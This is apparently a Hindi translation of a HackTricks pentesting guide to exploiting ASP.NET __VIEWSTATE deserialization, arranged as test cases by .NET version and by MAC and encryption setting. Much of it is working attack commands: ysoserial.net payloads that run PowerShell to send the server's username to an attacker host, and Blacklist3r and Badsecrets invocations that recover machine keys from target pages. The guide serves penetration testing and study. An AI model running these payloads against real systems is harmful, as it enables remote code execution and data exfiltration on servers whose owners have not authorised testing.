27 KiB
रहस्य न पता होने पर __VIEWSTATE का शोषण करना
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।
यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जानी चाहिए).
{% embed url="https://www.stmcyber.com/careers" %}
ViewState क्या है
ViewState ASP.NET में पृष्ठ और नियंत्रण डेटा को वेब पृष्ठों के बीच बनाए रखने के लिए डिफ़ॉल्ट तंत्र के रूप में काम करता है। पृष्ठ के HTML का रेंडरिंग करते समय, पृष्ठ की वर्तमान स्थिति और पोस्टबैक के दौरान संरक्षित करने वाले मान base64-संकेतित स्ट्रिंग में संचारित किए जाते हैं। फिर ये स्ट्रिंग हिडन ViewState फ़ील्ड में रखे जाते हैं।
ViewState जानकारी को निम्नलिखित गुणों या उनके संयोजनों द्वारा चित्रित किया जा सकता है:
-
Base64:
-
यह प्रारूप उपयोग किया जाता है जब
EnableViewStateMac
औरViewStateEncryptionMode
विशेषताएँ दोनों false पर सेट की जाती हैं। -
Base64 + MAC (संदेश प्रमाणीकरण कोड) सक्षम:
-
MAC को सक्षम करने के लिए
EnableViewStateMac
विशेषता को true पर सेट करके प्राप्त किया जा सकता है। यह ViewState डेटा के लिए पूर्णता सत्यापन प्रदान करता है। -
Base64 + एन्क्रिप्टेड:
-
एन्क्रिप्शन लागू होती है जब
ViewStateEncryptionMode
विशेषता को true पर सेट किया जाता है, जिससे ViewState डेटा की गोपनीयता सुनिश्चित होती है।
परीक्षण मामले
छवि एक तालिका है जो .NET फ्रेमवर्क संस्करण पर आधारित ASP.NET में ViewState के लिए विभिन्न विन्यासों का विवरण है। यहाँ सामग्री का सारांश है:
-
किसी भी .NET संस्करण के लिए, जब MAC और एन्क्रिप्शन निष्क्रिय होते हैं, तो MachineKey की आवश्यकता नहीं है, और इसलिए इसे पहचानने के लिए कोई उपयुक्त विधि नहीं है।
-
4.5 संस्करण से नीचे के संस्करणों के लिए, यदि MAC सक्षम है लेकिन एन्क्रिप्शन नहीं है, तो MachineKey की आवश्यकता होती है। MachineKey को पहचानने की विधि को "Blacklist3r" कहा जाता है।
-
4.5 संस्करण से नीचे के संस्करणों के लिए, चाहे MAC सक्षम हो या न हो, यदि एन्क्रिप्शन सक्षम है, तो MachineKey की आवश्यकता होती है। MachineKey को पहचानने का कार्य "Blacklist3r - भविष्य विकास" के लिए है।
-
4.5 संस्करण और ऊपर के संस्करणों के लिए, MAC और एन्क्रिप्शन के सभी संयोजन (चाहे दोनों सही हों, या एक सही हो और दूसरा गलत हो) के लिए MachineKey की आवश्यकता होती है। MachineKey को "Blacklist3r" का उपयोग करके पहचाना जा सकता है।
परीक्षण मामला: 1 – EnableViewStateMac=false और viewStateEncryptionMode=false
AspNetEnforceViewStateMac
रजिस्ट्री कुंजी को जीरो में सेट करके ViewStateMAC को पूरी तरह से अक्षम किया जा सकता है:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
ViewState विशेषताएँ पहचानना
आप BurpSuite के साथ इस पैरामीटर को समाहित करने वाला अनुरोध कैप्चर करके जांच सकते हैं कि ViewState को MAC से सुरक्षित किया गया है या नहीं। यदि Mac पैरामीटर को सुरक्षित करने के लिए उपयोग नहीं किया जाता है, तो आप YSoSerial.Net का उपयोग करके इसे उत्पीड़ित कर सकते हैं।
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
परीक्षण मामला 1.5 – परीक्षण मामला 1 की तरह लेकिन सर्वर द्वारा ViewState कुकी नहीं भेजी जाती है
डेवलपर ViewState को HTTP अनुरोध का हिस्सा नहीं बनने दे सकते (उपयोगकर्ता को यह कुकी नहीं मिलेगी)।
कोई यह मान सकता है कि यदि ViewState मौजूद नहीं है, तो उनका कार्यान्वयन ViewState डेसीरियलाइजेशन के साथ किसी भी संभावित सुरक्षा दोषों से सुरक्षित है।
हालांकि, ऐसा नहीं है। यदि हम अनुरोध शरीर में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरीयलाइज़ किए गए पेलोड को भेजते हैं, तो हम फिर भी कोड क्रियान्वयन हासिल कर सकेंगे जैसा कि मामला 1 में दिखाया गया है।
परीक्षण मामला: 2 – .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false
एक विशेष पृष्ठ के लिए ViewState MAC सक्षम करने के लिए हमें एक विशेष aspx फ़ाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
हम इसे समग्र एप्लिकेशन के लिए भी कर सकते हैं जिसे नीचे दिखाया गया है:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
जैसा कि पैरामीटर MAC सुरक्षित है, इस बार हमें हमला सफलतापूर्वक करने के लिए पहले उपयोग किया गया कुंजी की आवश्यकता है।
आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके कुंजी को खोजने की कोशिश कर सकते हैं।
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets एक औजार है जो जाने वाले machineKeys की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r की तरह, यह Windows dependency नहीं है। .NET viewstates के लिए, एक "python blacklist3r" उपयोग करने का सबसे तेज तरीका है।
या तो इसे viewstate और generator के साथ सीधे प्रदान किया जा सकता है:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
या, यह सीधे लक्षित URL से कनेक्ट कर सकता है और HTML से viewstate को निकालने का प्रयास कर सकता है:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
व्यूस्टेट परमीटर के वंशांकन के साथ विकल्पों की खोज करने के लिए, badsecrets
BBOT मॉड्यूल का उपयोग किया जा सकता है:
bbot -f subdomain-enum -m badsecrets -t evil.corp
अगर आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप YSoSerial.Net: का उपयोग करके हमला कर सकते हैं।
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
जब सर्वर द्वारा _VIEWSTATEGENERATOR
पैरामीटर भेजा नहीं जाता है तो आपको --generator
पैरामीटर प्रदान करने की आवश्यकता नहीं है, लेकिन ये आवश्यक हैं:
--apppath="/" --path="/hello.aspx"
परीक्षण मामला: 3 – .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true
इसमें यह नहीं पता चलता कि पैरामीटर MAC के साथ सुरक्षित है या नहीं। फिर, मान्यता संरक्षित हो सकती है और आपको इस सुरक्षा दोष का शोषण करने के लिए अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन कुंजी की आवश्यकता होगी।
इस मामले में Blacklist3r मॉड्यूल विकास के अधीन है...
.NET 4.5 से पहले, ASP.NET उपयोगकर्ताओं से एक अनएन्क्रिप्टेड ___VIEWSTATE
_पैरामीटर को स्वीकार कर सकता है, भले ही ViewStateEncryptionMode
को हमेशा सेट किया गया हो। ASP.NET केवल अनुरोध में __VIEWSTATEENCRYPTED
पैरामीटर की उपस्थिति की जांच करता है। यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो फिर भी इसे प्रोसेस किया जाएगा।
इसलिए अगर हमलावर किसी अन्य दुर्बलता जैसे फ़ाइल ट्रावर्सल के माध्यम से मशीन कुंजी प्राप्त करने का तरीका खोजते हैं, तो YSoSerial.Net कमांड जो मामला 2 में उपयोग किया गया था, उसका उपयोग ViewState डेसीरियलाइज़ेशन दुर्बलता का उपयोग करके RCE को करने के लिए किया जा सकता है।
- व्यूस्टेट डेसीरियलाइज़ेशन दुर्बलता का शोषण करने के लिए अनुरोध से
__VIEWSTATEENCRYPTED
पैरामीटर हटाएं, अन्यथा एक व्यूस्टेट MAC मान्यता त्रुटि लौटाएगा और शोषण विफल हो जाएगा।
परीक्षण मामला: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false केवल दोनों विशेषता को नकारें
हम नीचे दिखाए गए वेब.config फ़ाइल में निम्नलिखित पैरामीटर निर्दिष्ट करके ASP.NET फ़्रेमवर्क का उपयोग करने के लिए मजबूर कर सकते हैं।
<httpRuntime targetFramework="4.5" />
इसे वेब.कॉन्फ़िग फ़ाइल के machineKey
पैरामीटर में नीचे दिए गए विकल्प को निर्दिष्ट करके भी किया जा सकता है।
compatibilityMode="Framework45"
जैसा पिछले में मान एन्क्रिप्टेड है। इसके बाद, एक मान्य पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता है।
आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके उपयोग की जा रही कुंजी खोजने का प्रयास कर सकते हैं:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
अधिक विस्तृत विवरण के लिए IISDirPath और TargetPagePath के लिए यहाँ संदर्भित करें
या, Badsecrets (जेनरेटर मान के साथ):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
एक वैध मशीन कुंजी की पहचान होने के बाद, अगला कदम है कि YSoSerial.Net का उपयोग करके एक सीरीकैलाइज़्ड पेयलोड उत्पन्न किया जाए
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
यदि आपके पास __VIEWSTATEGENERATOR
का मान है तो आप कोशिश कर सकते हैं --generator पैरामीटर का उपयोग करके उस मान के साथ और --path और --apppath पैरामीटर को छोड़ दें।
ViewState डीसीरियलाइज़ेशन वलनरेबिलिटी का सफल शोषण एक हमलावर नियंत्रित सर्वर को बाहरी अनुरोध में ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार का शोषण एक प्रमाण के संदर्भ में प्रदर्शित किया जाता है जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया काम कैसे करती है और मशीन कुंजी की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें के बारे में अधिक विवरण के लिए आप PoC of Successful Exploitation की जांच कर सकते हैं।
परीक्षण मामला 6 – ViewStateUserKeys का उपयोग हो रहा है
ViewStateUserKey गुणसूत्र का उपयोग CSRF हमले के खिलाफ रक्षा के लिए किया जा सकता है। यदि ऐसी कुंजी को अनुप्रयोग में परिभाषित किया गया है और हम कोशिश करते हैं कि हम उस परियोजना में ViewState पेलोड उत्पन्न करें जिसे अब तक चर्चित विधियों के साथ, तो पेलोड अनुप्रयोग द्वारा प्रसंस्कृत नहीं किया जाएगा।
आपको सही ढंग से पेलोड बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:
--viewstateuserkey="randomstringdefinedintheserver"
सफल शोषण के परिणाम
सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net payload सफलतापूर्वक काम करता है तो सर्वर “500 आंतरिक सर्वर त्रुटि” के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री “पृष्ठ के लिए राज्य सूचना अमान्य है और यह भ्रष्ट हो सकती है” होती है और हम OOB अनुरोध प्राप्त करते हैं।
अधिक जानकारी के लिए यहाँ देखें
संदर्भ
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817\
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जानी चाहिए).
{% embed url="https://www.stmcyber.com/careers" %}
जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs संग्रह The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos को PR जमा करके।